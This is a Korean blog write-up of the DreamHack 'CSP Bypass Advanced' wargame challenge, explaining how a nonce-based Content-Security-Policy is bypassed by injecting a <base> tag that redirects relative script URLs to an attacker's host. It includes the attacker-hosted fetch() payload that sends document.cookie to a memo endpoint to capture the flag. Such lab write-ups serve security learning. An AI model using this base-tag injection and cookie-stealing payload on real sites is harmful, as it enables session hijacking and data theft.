๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - CSP Bypass Advanced ํ’€์ด

by Janger 2023. 9. 10.
728x90
๋ฐ˜์‘ํ˜•

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ์•ˆ๋œ ์ด์œ 

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

request ํ•  ๋•Œ๋งˆ๋‹ค ํ—ค๋”์— CSP(Content-Security-Policy)๊ฐ€ ๋ถ™๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋” ์‚ดํŽด๋ณด์ž๋ฉด script-src๊ฐ€ self์ด๊ธฐ ๋•Œ๋ฌธ์— origin domain์—์„œ๋งŒ ์Šคํฌ๋ฆฝํŠธ ์š”์ฒญ์ด ๊ฐ€๋Šฅํ•˜๊ณ  ๊ทธ ๋’ค์— nonce-{nonce}๊ฐ€ ๋ถ™๋Š”๋ฐ ์ด๋Š” ๋งค๋ฒˆ ๋ฌด์ž‘์œ„๋กœ ์ƒ์„ฑ๋˜๋Š” {nonce}์™€ ๋™์ผํ•œ ์†์„ฑ์„ ๊ฐ–๋Š” script ํƒœ๊ทธ๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๊ณ  ๋ณด๋ฉด ๋œ๋‹ค.

์•„๋ž˜์™€ ๊ฐ™์ด Flask ์„œ๋ฒ„๋Š” ๋งค๋ฒˆ nonce ๊ฐ’์„ ์ƒ์„ฑํ•ด ํ—ˆ์šฉํ•˜๋Š” script ํƒœ๊ทธ์— nonce ๊ฐ’์„ ์คŒ์œผ๋กœ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒŒ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ด๋‹ค.

<script src="{{ url_for('static', filename='js/jquery.min.js')}}" nonce={{ nonce }}></script>

CSP ์šฐํšŒํ•˜๊ธฐ

๊ทผ๋ณธ์ ์œผ๋กœ script ํƒœ๊ทธ๊ฐ€ ์‹คํ–‰ ์•ˆ๋œ ์ด์œ ๊ฐ€ (1) origin domain์˜ ์ฃผ์†Œ๋งŒ ํ—ˆ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค.์™€ (2) nonce ๊ฐ’์„ ์‰ฝ๊ฒŒ ์˜ˆ์ธกํ•  ์ˆ˜๊ฐ€ ์—†๋‹ค.์ด์—ˆ์œผ๋ฏ€๋กœ ์ด๋ฅผ ํ•ด๊ฒฐํ•˜๋ ค๋ฉด origin domain์„ ๋ฐ”๊พธ๊ณ  ๋ฏธ๋ฆฌ ํ—ˆ์šฉํ•œ ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๋ฅผ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์žˆ๋Š” ์ž์›์œผ๋กœ ์š”์ฒญํ•˜๋ฉด ํ•ด๊ฒฐ์ด ๋œ๋‹ค.

๊ทธ๋ž˜์„œ ์ฐพ์€ ๋ฐฉ๋ฒ•์ด <base> ํƒœ๊ทธ ์˜€๋‹ค.
<base> ํƒœ๊ทธ๋Š” href=/index.html ๊ฐ™์€ ์ƒ๋Œ€ ์ฃผ์†Œ๋“ค์˜ base ์ฃผ์†Œ๋ฅผ ๋ฐ”๊พธ๋Š” ์—ญํ• ์„ ํ•œ๋‹ค.

์‚ฌ์šฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

<base href="https://๊ณต๊ฒฉ์ž์˜์ฃผ์†Œ/">

์ด๋Ÿฐ ํƒœ๊ทธ๋ฅผ ์„ ์–ธํ•˜๋ฉด ์ดํ›„์— ์˜ค๋Š” ๋ชจ๋“  href=/index.html๋Š” href=https://๊ณต๊ฒฉ์ž์˜์ฃผ์†Œ/index.html์™€ ๊ฐ™๊ฒŒ ๋œ๋‹ค.

<script src="/static/js/jquery.min.js" nonce="๋žœ๋ค"></script>
<script src="/static/js/bootstrap.min.js" nonce="๋žœ๋ค"></script>
<script src="https://๊ณต๊ฒฉ์ž์˜์ฃผ์†Œ/static/js/jquery.min.js" nonce="๋žœ๋ค"></script>
<script src="https://๊ณต๊ฒฉ์ž์˜์ฃผ์†Œ/static/js/bootstrap.min.js" nonce="๋žœ๋ค"></script>

์ด๋ ‡๊ฒŒ ๋˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏธ๋ฆฌ ์„œ๋ฒ„๋ฅผ ์—ด์–ด๋‘๊ณ  /static/js/jquery.min.js ํŒŒ์ผ์„ ์ƒ์„ฑํ•ด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฟ ํ‚ค๋ฅผ ๋ฉ”๋ชจํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฏ€๋กœ FLAG๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

fetch('http://127.0.0.1:8000/'+'/memo?memo='+document.cookie, {
    method: 'GET',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
}).then(res => res.text());
728x90
๋ฐ˜์‘ํ˜•

'๐ŸดCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

DreamHack - [wargame.kr] strcmp ํ’€์ด  (0) 2023.09.11
DreamHack - chocoshop ํ’€์ด  (0) 2023.09.09
DreamHack - funjs ํ’€์ด  (0) 2023.09.09
DreamHack - [wargame.kr] tmitter ํ’€์ด  (0) 2023.09.09
DreamHack - [wargame.kr] crack crack crack it ํ’€์ด  (0) 2023.09.09